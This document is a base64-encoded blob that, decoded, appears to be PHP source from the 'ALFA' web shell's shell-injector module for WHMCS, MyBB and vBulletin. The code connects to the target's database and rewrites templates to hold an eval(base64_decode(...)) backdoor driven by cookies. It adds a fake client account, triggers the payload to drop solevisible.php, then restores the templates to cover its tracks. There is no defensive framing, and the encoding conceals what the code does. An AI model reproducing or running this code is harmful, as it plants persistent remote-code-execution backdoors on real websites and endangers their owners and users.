VsbCxcJ3ZiXCcpIj58IHZCdWxsZXRpbiB8PC9hPjwvaDM+PC9jZW50ZXI+JzsKJHNlbGVjdG9yID0gJzxwPjxkaXYgY2xhc3M9InR4dGZvbnQiPlNoZWxsIEluamVjdCBNZXRob2QgOiA8L2Rpdj4gPHNlbGVjdCBuYW1lPSJtZXRob2QiIHN0eWxlPSJ3aWR0aDoxMDBweDsiPjxvcHRpb24gdmFsdWU9ImF1dG8iPkF1dG9NYXRpYzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Im1hbiI+TWFudWVsPC9vcHRpb24+PC9zZWxlY3Q+PC9wPic7CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTEnXSkgJiYgJF9QT1NUWydhbGZhMSddPT0gJ3dobWNzJyl7CkFsZmFOdW0oKTsKZWNobyBfX3ByZSgpLiI8cD48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBXSE1DUyB8PC9kaXY+PC9wPjxjZW50ZXI+PGNlbnRlcj48cD4iLmdldENvbmZpZ0h0bWwoJ3dobWNzJykuIjwvcD48Zm9ybSBvblN1Ym1pdD1cImcoJ1NoZWxsSW5qZWN0b3JzJyxudWxsLCd3aG1jcycsbnVsbCxudWxsLHRoaXMubWV0aG9kLnZhbHVlLG51bGwsdGhpcy5kYnUudmFsdWUsdGhpcy5kYm4udmFsdWUsdGhpcy5kYnAudmFsdWUsdGhpcy5kYmgudmFsdWUsdGhpcy5wYXRoLnZhbHVlKTsgcmV0dXJuIGZhbHNlO1wiIG1ldGhvZD0ncG9zdCc+IjsKJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdQYXRoIFdITUNTIFVybCA6ICcsICdpbnB1dE5hbWUnID0+ICdwYXRoJywgJ2lucHV0VmFsdWUnID0+ICdodHRwOi8vc2l0ZS5jb20vd2htY3MnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCA6ICcsICdpbnB1dE5hbWUnID0+ICdkYmgnLCAnaWQnID0+ICdkYl9ob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICdkYm4nLCAnaWQnID0+ICdkYl9uYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDQnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlciA6ICcsICdpbnB1dE5hbWUnID0+ICdkYnUnLCAnaWQnID0+ICdkYl91c2VyJywgJ2lucHV0VmFsdWUnPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBQYXNzIDogJywgJ2lucHV0TmFtZScgPT4gJ2RicCcsICdpZCcgPT4gJ2RiX3B3JywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQopOwpjcmVhdGVfdGFibGUoJHRhYmxlKTsKZWNobyAkc2VsZWN0b3I7CmVjaG8gIjxwPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC9wPjwvZm9ybT48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT48L2NlbnRlcj4iOwppZihpc3NldCgkX1BPU1RbJ2FsZmE2J10pKSB7CiRkYnUgPSAkX1BPU1RbJ2FsZmE2J107CiRkYm4gPSAkX1BPU1RbJ2FsZmE3J107CiRkYnAgPSAkX1BPU1RbJ2FsZmE4J107CiRkYmggPSAkX1BPU1RbJ2FsZmE5J107CiRwYXRoID0gJF9QT1NUWydhbGZhMTAnXTsKJG1ldGhvZCA9ICRfUE9TVFsnYWxmYTQnXTsKJGluZGV4ID0gIntwaHB9Ii5BTEZBX1VQTE9BREVSLiI7ey9waHB9IjsKJG5ld2luID0gc3RyX3JlcGxhY2UoIiciLCJcJyIsJGluZGV4KTsKJG5ld2luZGV4ID0gIjxwPkRlYXIgJG5ld2luLDwvcD48cD5SZWNlbnRseSBhIHJlcXVlc3Qgd2FzIHN1Ym1pdHRlZCB0byByZXNldCB5b3VyIHBhc3N3b3JkIGZvciBvdXIgY2xpZW50IGFyZWEuIElmIHlvdSBkaWQgbm90IHJlcXVlc3QgdGhpcywgcGxlYXNlIGlnbm9yZSB0aGlzIGVtYWlsLiBJdCB3aWxsIGV4cGlyZSBhbmQgYmVjb21lIHVzZWxlc3MgaW4gMiBob3VycyB0aW1lLjwvcD48cD5UbyByZXNldCB5b3VyIHBhc3N3b3JkLCBwbGVhc2UgdmlzaXQgdGhlIHVybCBiZWxvdzo8YnIgLz48YSBocmVmPVwie1wkcHdfcmVzZXRfdXJsfVwiPntcJHB3X3Jlc2V0X3VybH08L2E+PC9wPjxwPldoZW4geW91IHZpc2l0IHRoZSBsaW5rIGFib3ZlLCB5b3VyIHBhc3N3b3JkIHdpbGwgYmUgcmVzZXQsIGFuZCB0aGUgbmV3IHBhc3N3b3JkIHdpbGwgYmUgZW1haWxlZCB0byB5b3UuPC9wPjxwPntcJHNpZ25hdHVyZX08L3A+e3BocH1pZihcJF9DT09LSUVbXCJzZWNcIl0gPT0gXCIxMjNcIil7ZXZhbChiYXNlNjRfZGVjb2RlKFwkX0NPT0tJRVtcInNlYzJcIl0pKTsgZGllKFwiIVwiKTt9e1wvcGhwfSI7CmlmKCFlbXB0eSgkZGJoKSAmJiAhZW1wdHkoJGRidSkgJiYgIWVtcHR5KCRkYm4pICYmICFlbXB0eSgkaW5kZXgpKXsKaWYoZmlsdGVyX3ZhcigkcGF0aCxGSUxURVJfVkFMSURBVEVfVVJMKSl7CiRjb25uID0gbXlzcWxpX2Nvbm5lY3QoJGRiaCwkZGJ1LCRkYnAsJGRibikgb3IgZGllKG15c3FsaV9jb25uZWN0X2Vycm9yKCkpOwokc29sZVNhdmU9IG15c3FsaV9xdWVyeSgkY29ubiwic2VsZWN0IG1lc3NhZ2UgZnJvbSB0YmxlbWFpbHRlbXBsYXRlcyB3aGVyZSBuYW1lPSdQYXNzd29yZCBSZXNldCBWYWxpZGF0aW9uJyIpOwokc29sZUdldCA9IG15c3FsaV9mZXRjaF9hc3NvYygkc29sZVNhdmUpOwokdGVtcFNhdmUxID0gJHNvbGVHZXRbJ21lc3NhZ2UnXTsKJHRlbXBTYXZlID0gc3RyX3JlcGxhY2UoIiciLCJcJyIsJHRlbXBTYXZlMSk7Cm15c3FsaV9xdWVyeSgkY29ubiwiVVBEQVRFIHRibGNvbmZpZ3VyYXRpb24gU0VUIHZhbHVlID0gJzEnIFdIRVJFIHNldHRpbmcgPSAnQWxsb3dTbWFydHlQaHBUYWdzJyIpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRpbmplY3QgPSAiVVBEQVRFIHRibGVtYWlsdGVtcGxhdGVzIFNFVCBtZXNzYWdlPSckbmV3aW5kZXgnIFdIRVJFIG5hbWU9J1Bhc3N3b3JkIFJlc2V0IFZhbGlkYXRpb24nIjsKJHJlc3VsdCA9IG15c3FsaV9xdWVyeSgkY29ubiwkaW5qZWN0KSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOwokY3JlYXRlID0gImluc2VydCBpbnRvIHRibGNsaWVudHMgKGVtYWlsKSB2YWx1ZXMoJ3NvbGV2aXNpYmxlQGZiaS5nb3YnKSI7CiRyZXN1bHQyID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCRjcmVhdGUpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7CmlmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJykgJiYgJG1ldGhvZCA9PSAnYXV0bycpewokQWxmYVNvbGUgPSBuZXcgQWxmYUNVUkwodHJ1ZSk7CiRzYXZldXJsID0gJEFsZmFTb2xlLT5TZW5kKCRwYXRoLiIvcHdyZXNldC5waHAiKTsKJGdldFRva2VuID0gcHJlZ19tYXRjaCgiL25hbWU9XCJ0b2tlblwiIHZhbHVlPVwiKC4qPylcIi9pIiwkc2F2ZXVybCwkdG9rZW4pOwokQWxmYVNvbGUtPlNlbmQoJHBhdGguIi9wd3Jlc2V0LnBocCIsInBvc3QiLCJ0b2tlbj17JHRva2VuWzFdfSZhY3Rpb249cmVzZXQmZW1haWw9c29sZXZpc2libGVAZmJpLmdvdiIpOwokYmFja2RhdGEgPSAiVVBEQVRFIHRibGVtYWlsdGVtcGxhdGVzIFNFVCBtZXNzYWdlPSd7JHRlbXBTYXZlfScgV0hFUkUgbmFtZT0nUGFzc3dvcmQgUmVzZXQgVmFsaWRhdGlvbiciOwokU29sZXZpc2libGUgPSBteXNxbGlfcXVlcnkoJGNvbm4sJGJhY2tkYXRhKSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOwpfX2FsZXJ0KCJzaGVsbCBpbmplY3RldC4uLiIpOwokZmY9ICdodHRwOi8vJy4kcGF0aC4iL3NvbGV2aXNpYmxlLnBocCI7Cm91dHB1dCgkZmYpO31lbHNlewplY2hvICI8YnI+PHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMVwiPjxicj48Y2VudGVyPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlBsZWFzZSBnbyB0byBUYXJnZXQgPT4gPC9mb250PjxhIGhyZWY9JyIuJHBhdGguIi9wd3Jlc2V0LnBocCcgdGFyZ2V0PSdfYmxhbmsnPiIuJHBhdGguIi9wd3Jlc2V0LnBocDwvYT48YnIvPjxmb250IGNvbG9yPScjRkZGRkZGJz4gQW5kIFJlc2V0IFBhc3N3b3JkIFdpdGggRW1haWw8L2ZvbnQ+ID0+IDxmb250IGNvbG9yPXJlZD5zb2xldmlzaWJsZUBmYmkuZ292PC9mb250Pjxici8+PGZvbnQgY29sb3I9JyNGRkZGRkYnPkFuZCBHbyBUbyA9PiA8L2ZvbnQ+PGEgaHJlZj0nIi4kcGF0aC4iL3NvbGV2aXNpYmxlLnBocCcgdGFyZ2V0PSdfYmxhbmsnPiIuJHBhdGguIi9zb2xldmlzaWJsZS5waHA8L2E+PC9iPjwvY2VudGVyPjxicj48YnI+Ijt9fWVsc2V7X19hbGVydCgnUGF0aCBpcyBub3QgVmFsaWQuLi4nKTt9fX0KfWlmKGlzc2V0KCRfUE9TVFsnYWxmYTInXSkgJiYgJF9QT1NUWydhbGZhMiddPT0gJ215YmInKXsKQWxmYU51bSgxLDIsMyw1KTsKZWNobyBfX3ByZSgpLiI8cD48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBNeUJCIHw8L2Rpdj48L3A+PGNlbnRlcj48Y2VudGVyPiIuZ2V0Q29uZmlnSHRtbCgibXliYiIpLiI8Zm9ybSBpZD0nc2VuZGFqYXgnIG9uU3VibWl0PVwiZygnU2hlbGxJbmplY3RvcnMnLG51bGwsbnVsbCwnbXliYicsbnVsbCx0aGlzLm1ldGhvZC52YWx1ZSxudWxsLHRoaXMuZGJ1LnZhbHVlLHRoaXMuZGJuLnZhbHVlLHRoaXMuZGJwLnZhbHVlLHRoaXMuZGJoLnZhbHVlLHRoaXMucHJlZml4LnZhbHVlKTsgcmV0dXJuIGZhbHNlO1wiIG1ldGhvZD1QT1NUPgoiOwokdGFibGUgPSBhcnJheSgndGQxJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0hvc3QgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJoJywgJ2lkJz0+J2RiX2hvc3QnLCdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RhdGFCYXNlIE5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJuJywgJ2lkJz0+J2RiX25hbWUnICwnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdVc2VyIE5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJ1JywgJ2lkJz0+J2RiX3VzZXInLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdQYXNzd29yZCA6ICcsICdpbnB1dE5hbWUnID0+ICdkYnAnLCAnaWQnPT4nZGJfcHcnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdUYWJsZSBQcmVmaXggOiAnLCAnaW5wdXROYW1lJyA9PiAncHJlZml4JywgJ2lkJz0+J2RiX3ByZWZpeCcsJ2lucHV0VmFsdWUnID0+ICdteWJiXycsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICRzZWxlY3RvcjsKZWNobyAiPHA+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPScgJz48L3A+PC9mb3JtPjwvY2VudGVyPjwvY2VudGVyPiI7CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTYnXSkpIHsKJGRidSA9ICRfUE9TVFsnYWxmYTYnXTsKJGRibiA9ICRfUE9TVFsnYWxmYTcnXTsKJGRicCA9ICRfUE9TVFsnYWxmYTgnXTsKJGRiaCA9ICRfUE9TVFsnYWxmYTknXTsKJHByZWZpeCA9ICRfUE9TVFsnYWxmYTEwJ107CiRtZXRob2QgPSAkX1BPU1RbJ2FsZmE0J107CiRzaGVsbENvZGUgPSAie1wkeyIuQUxGQV9VUExPQURFUi4ifX0iOwokbmV3aW5zaGVsbCA9IHN0cl9yZXBsYWNlKCInIiwiXCciLCRzaGVsbENvZGUpOwppZiAoIWVtcHR5KCRkYmgpICYmICFlbXB0eSgkZGJ1KSAmJiAhZW1wdHkoJGRibikgJiYgIWVtcHR5KCRuZXdpbnNoZWxsKSl7CiRjb25uID0gbXlzcWxpX2Nvbm5lY3QoJGRiaCwkZGJ1LCRkYnAsJGRibikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwokaW5qZWN0ID0gInNlbGVjdCB0ZW1wbGF0ZSBmcm9tIHskcHJlZml4fXRlbXBsYXRlcyB3aGVyZSAgdGl0bGU9ICdjYWxlbmRhciciOwokcmVzdWx0ID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCAkaW5qZWN0KSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOwokR2V0VGVtcCA9IG15c3FsaV9mZXRjaF9hc3NvYygkcmVzdWx0KTsKJHNhdmVEYXRlID0gJEdldFRlbXBbJ3RlbXBsYXRlJ107CiRyZXBzYXZlID0gc3RyX3JlcGxhY2UoJHNoZWxsQ29kZSwiIiwkc2F2ZURhdGUpOwokcmVwc2F2ZSA9IHN0cl9yZXBsYWNlKCInIiwiXCciLCRyZXBzYXZlKTsKJGNyZWF0ZVNoZWxsID0gInVwZGF0ZSB7JHByZWZpeH10ZW1wbGF0ZXMgU0VUIHRlbXBsYXRlPSAnIi4kbmV3aW5zaGVsbC4kcmVwc2F2ZS4iJyB3aGVyZSB0aXRsZSA9ICdjYWxlbmRhciciOwokcmVzdWx0MiA9IG15c3FsaV9xdWVyeSgkY29ubiwkY3JlYXRlU2hlbGwpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRnZXR1cmwgPSAic2VsZWN0IHZhbHVlIGZyb20geyRwcmVmaXh9c2V0dGluZ3Mgd2hlcmUgbmFtZT0gJ2JidXJsJyI7CiRmaW5kdXJsID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCRnZXR1cmwpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRyb3diID0gbXlzcWxpX2ZldGNoX2Fzc29jKCRmaW5kdXJsKTsKJGZ1cmwgPSAkcm93YlsndmFsdWUnXTsKJHJlYWx1cmwgPSBwYXJzZV91cmwoJGZ1cmwsUEhQX1VSTF9IT1NUKTsKJHJlYWxwYXRoID0gcGFyc2VfdXJsKCRmdXJsLFBIUF9VUkxfUEFUSCk7CiRyZXMgPSBmYWxzZTsKJEFsZmFDdXJsID0gbmV3IEFsZmFDVVJMKCk7CmlmIChleHRlbnNpb25fbG9hZGVkKCdzb2NrZXRzJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdmc29ja29wZW4nKSAmJiAkbWV0aG9kID09ICdhdXRvJyApewppZiAoJGZzb2NrID0gQGZzb2Nrb3BlbigkcmVhbHVybCwgODAsICRlcnJubywgJGVycnN0ciwgMTApKXsKQGZwdXRzKCRmc29jaywgIkdFVCAkcmVhbHBhdGgvY2FsZW5kYXIucGhwIEhUVFAvMS4xXHJcbiIpOwpAZnB1dHMoJGZzb2NrLCAiSE9TVDogJHJlYWx1cmxcclxuIik7CkBmcHV0cygkZnNvY2ssICJDb25uZWN0aW9uOiBjbG9zZVxyXG5cclxuIik7CiRjaGVjayA9IGZnZXRzKCRmc29jayk7CmlmKHByZWdfbWF0Y2goIi8yMDAgT0svaSIsJGNoZWNrKSl7CiRyZXBhaXJkYnRlbXAgPSAidXBkYXRlIHskcHJlZml4fXRlbXBsYXRlcyBTRVQgdGVtcGxhdGU9ICckcmVwc2F2ZScgd2hlcmUgdGl0bGUgPSAnY2FsZW5kYXInIjsKJGNsZWFyID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCRyZXBhaXJkYnRlbXApIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7JHJlcyA9IHRydWU7fQpAZmNsb3NlKCRmc29jayk7fX1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSAmJiAkbWV0aG9kID09ICdhdXRvJyl7CiRBbGZhQ3VybC0+U2VuZCgkcmVhbHVybC4kcmVhbHBhdGguIi9jYWxlbmRhci5waHAiKTsKJHJlcyA9IHRydWU7Cn0KaWYoJHJlcyl7CiRmZiA9ICdodHRwOi8vJy4kcmVhbHVybC4kcmVhbHBhdGguIi9zb2xldmlzaWJsZS5waHAiOwpvdXRwdXQoJGZmKTsKfWVsc2V7CiRmZiA9ICdodHRwOi8vJy4kcmVhbHVybC4kcmVhbHBhdGguIi9jYWxlbmRhci5waHAiOwokZmZmID0gJ2h0dHA6Ly8nLiRyZWFsdXJsLiRyZWFscGF0aC4iL3NvbGV2aXNpYmxlLnBocCI7CmVjaG8gIjxicj48cHJlIGlkPSdzdHJPdXRwdXQnIHN0eWxlPSdtYXJnaW4tdG9wOjVweCcgY2xhc3M9J21sMSc+PGJyPjxjZW50ZXI+PGI+PGZvbnQgY29sb3I9JyNGRkZGRkYnPlBsZWFzZSBHbyBUbyBUYXJnZXQgPT4gPC9mb250PjxhIGhyZWY9JyIuJGZmLiInIHRhcmdldD0nX2JsYW5rJz4iLiRmZi4iPC9hPjxici8+PGZvbnQgY29sb3I9JyNGRkZGRkYnPkFuZCBHbyBUbyA9PiA8L2ZvbnQ+PGEgaHJlZj0nIi4kZmZmLiInIHRhcmdldD0nX2JsYW5rJz4iLiRmZmYuIjwvYT48L2I+PC9jZW50ZXI+PGJyPjxicj4iOwp9fX19CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTMnXSkgJiYgJF9QT1NUWydhbGZhMyddPT0gJ3ZiJyl7CkFsZmFOdW0oMSwyLDcsOSwxMCk7CmVjaG8gX19wcmUoKS4nPHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgdmJ1bGxldGluIHw8L2Rpdj48L3A+PHA+Jy5nZXRDb25maWdIdG1sKCd2YicpLic8L3A+PGZvcm0gbmFtZT0iZnJtIiBtZXRob2Q9IlBPU1QiIG9uc3VibWl0PSJnKFwnU2hlbGxJbmplY3RvcnNcJyxudWxsLG51bGwsdGhpcy5sby52YWx1ZSxcJ3ZiXCcsdGhpcy51c2VyLnZhbHVlLHRoaXMucGFzcy52YWx1ZSx0aGlzLnRhYi52YWx1ZSx0aGlzLmRiLnZhbHVlLHRoaXMubWV0aG9kLnZhbHVlKTsgcmV0dXJuIGZhbHNlOyI+JzsKJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdIb3N0IDogJywgJ2lucHV0TmFtZScgPT4gJ2xvJywgJ2lkJz0+J2RiX2hvc3QnLCdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RhdGFCYXNlIE5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGInLCAnaWQnPT4nZGJfbmFtZScsJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnVXNlciBOYW1lIDogJywgJ2lucHV0TmFtZScgPT4gJ3VzZXInLCAnaWQnPT4nZGJfdXNlcicsJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDQnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnUGFzc3dvcmQgOiAnLCAnaW5wdXROYW1lJyA9PiAncGFzcycsICdpZCc9PidkYl9wdycsJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDUnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnVGFibGUgUHJlZml4IDogJywgJ2lucHV0TmFtZScgPT4gJ3RhYicsICdpZCc9PidkYl9wcmVmaXgnLCdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJykKKTsKY3JlYXRlX3RhYmxlKCR0YWJsZSk7CmVjaG8gJHNlbGVjdG9yOwplY2hvICc8cD48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgLz48L3A+PC9mb3JtPjwvY2VudGVyPic7CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTQnXSkmJiFlbXB0eSgkX1BPU1RbJ2FsZmE0J10pKXsKJG1ldGhvZCA9ICRfUE9TVFsnYWxmYTgnXTsKJGZhcV9uYW1lID0gImZhcSI7CiRmYXFfZmlsZSA9ICIvZmFxLnBocCI7CiRjb2RlID0gIntcJHsiLkFMRkFfVVBMT0FERVIuIn19e1wke2V4aXQoKX19JiI7CiRjb25uPUBteXNxbGlfY29ubmVjdCgkX1BPU1RbJ2FsZmEyJ10sJF9QT1NUWydhbGZhNCddLCRfUE9TVFsnYWxmYTUnXSwkX1BPU1RbJ2FsZmE3J10pIG9yIGRpZShAbXlzcWxpX2Nvbm5lY3RfZXJyb3IoKSk7CiRyZWMgPSAic2VsZWN0IGB0ZW1wbGF0ZWAgZnJvbSAiLiRfUE9TVFsnYWxmYTYnXS4idGVtcGxhdGUgV0hFUkUgdGl0bGUgPSciLiRmYXFfbmFtZS4iJyI7CiRyZWNpdmVkYXRhID0gQG15c3FsaV9xdWVyeSgkY29ubiwkcmVjKTsKJGdldGQgPSBAbXlzcWxpX2ZldGNoX2Fzc29jKCRyZWNpdmVkYXRhKTsKJHNhdmV0b2FzcyA9ICRnZXRkWyd0ZW1wbGF0ZSddOwppZihlbXB0eSgkc2F2ZXRvYXNzKSl7CiRmYXFfbmFtZSA9ICJoZWFkZXIiOwokZmFxX2ZpbGUgPSAiLyI7CiRyZWMgPSAic2VsZWN0IGB0ZW1wbGF0ZWAgZnJvbSAiLiRfUE9TVFsnYWxmYTYnXS4idGVtcGxhdGUgV0hFUkUgdGl0bGUgPSciLiRmYXFfbmFtZS4iJyI7CiRyZWNpdmVkYXRhID0gQG15c3FsaV9xdWVyeSgkY29ubiwkcmVjKTsKJGdldGQgPSBAbXlzcWxpX2ZldGNoX2Fzc29jKCRyZWNpdmVkYXRhKTsKJHNhdmV0b2FzcyA9ICRnZXRkWyd0ZW1wbGF0ZSddOwokY29kZSA9IEFMRkFfVVBMT0FERVIuIjsiOwp9CiRjb2RlID0gc3RyX3JlcGxhY2UoIiciLCJcJyIsJGNvZGUpOwokcCA9ICJVUERBVEUgIi4kX1BPU1RbJ2FsZmE2J10uInRlbXBsYXRlIFNFVCBgdGVtcGxhdGVgPSciLiRjb2RlLiInIFdIRVJFIGB0aXRsZWA9JyIuJGZhcV9uYW1lLiInIjsKJGthPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCRwKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRnZXR1cmwgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCJzZWxlY3QgYHZhbHVlYCBmcm9tICIuJF9QT1NUWydhbGZhNiddLiJzZXR0aW5nIFdIRVJFIGB2YXJuYW1lYD0nYmJ1cmwnIik7CiRnZXR2YWwgPSBAbXlzcWxpX2ZldGNoX2Fzc29jKCRnZXR1cmwpOwokc2F2ZXZhbCA9ICRnZXR2YWxbJ3ZhbHVlJ107CmlmKCRmYXFfbmFtZSA9PSAiaGVhZGVyIil7CmlmKHN1YnN0cigkc2F2ZXZhbCwgLTUsIDUpID09ICIvY29yZSIpewokc2F2ZXZhbCA9IHN1YnN0cigkc2F2ZXZhbCwgMCwgLTUpOwp9Cn0KJHJlYWx1cmwgPSBwYXJzZV91cmwoJHNhdmV2YWwsUEhQX1VSTF9IT1NUKTsKJHJlYWxwYXRoID0gcGFyc2VfdXJsKCRzYXZldmFsLFBIUF9VUkxfUEFUSCk7CiRyZXMgPSBmYWxzZTsKJEFsZmFDdXJsID0gbmV3IEFsZmFDVVJMKCk7CmlmKGV4dGVuc2lvbl9sb2FkZWQoJ3NvY2tldHMnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2Zzb2Nrb3BlbicpICYmICRtZXRob2QgPT0gJ2F1dG8nKXsKaWYoJGZzb2NrID0gQGZzb2Nrb3BlbigkcmVhbHVybCwgODAsICRlcnJubywgJGVycnN0ciwgMTApKXsKQGZwdXRzKCRmc29jaywgIkdFVCAkcmVhbHBhdGguJGZhcV9maWxlIEhUVFAvMS4xXHJcbiIpOwpAZnB1dHMoJGZzb2NrLCAiSE9TVDogJHJlYWx1cmxcclxuIik7CkBmcHV0cygkZnNvY2ssICJDb25uZWN0aW9uOiBjbG9zZVxyXG5cclxuIik7CiRjaGVjayA9IGZnZXRzKCRmc29jayk7CmlmKHByZWdfbWF0Y2goIi8yMDAgT0svaSIsJGNoZWNrKSl7CiRwMSA9ICJVUERBVEUgIi4kX1BPU1RbJ2FsZmE2J10uInRlbXBsYXRlIFNFVCB0ZW1wbGF0ZSA9JyIubXlzcWxpX3JlYWxfZXNjYXBlX3N0cmluZygkY29ubiwkc2F2ZXRvYXNzKS4iJyBXSEVSRSB0aXRsZSA9JyIuJGZhcV9uYW1lLiInIjsKJGthMT0gQG15c3FsaV9xdWVyeSgkY29ubiwkcDEpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJHJlcyA9IHRydWU7Cn0KQGZjbG9zZSgkZnNvY2spOwp9Cn1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSAmJiAkbWV0aG9kID09ICdhdXRvJyl7CiRBbGZhQ3VybC0+U2VuZCgkcmVhbHVybC4kcmVhbHBhdGguJGZhcV9maWxlKTsKJHAxID0gIlVQREFURSAiLiRfUE9TVFsnYWxmYTYnXS4idGVtcGxhdGUgU0VUIHRlbXBsYXRlID0nIi5teXNxbGlfcmVhbF9lc2NhcGVfc3RyaW5nKCRjb25uLCRzYXZldG9hc3MpLiInIFdIRVJFIHRpdGxlID0nIi4kZmFxX25hbWUuIiciOwoka2ExPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCRwMSkgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwokcmVzID0gdHJ1ZTsKfQppZigkcmVzKXsKJGZmID0gJ2h0dHA6Ly8nLiRyZWFsdXJsLiRyZWFscGF0aC4iL3NvbGV2aXNpYmxlLnBocCI7Cm91dHB1dCgkZmYpOwp9ZWxzZXsKJGZmID0gJ2h0dHA6Ly8nLiRyZWFsdXJsLiRyZWFscGF0aC4kZmFxX2ZpbGU7CiRmZmYgPSAnaHR0cDovLycuJHJlYWx1cmwuJHJlYWxwYXRoLiIvc29sZXZpc2libGUucGhwIjsKZWNobyAiPGNlbnRlcj48cD48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5GaXJzdCBPcGVuIFRoaXMgTGl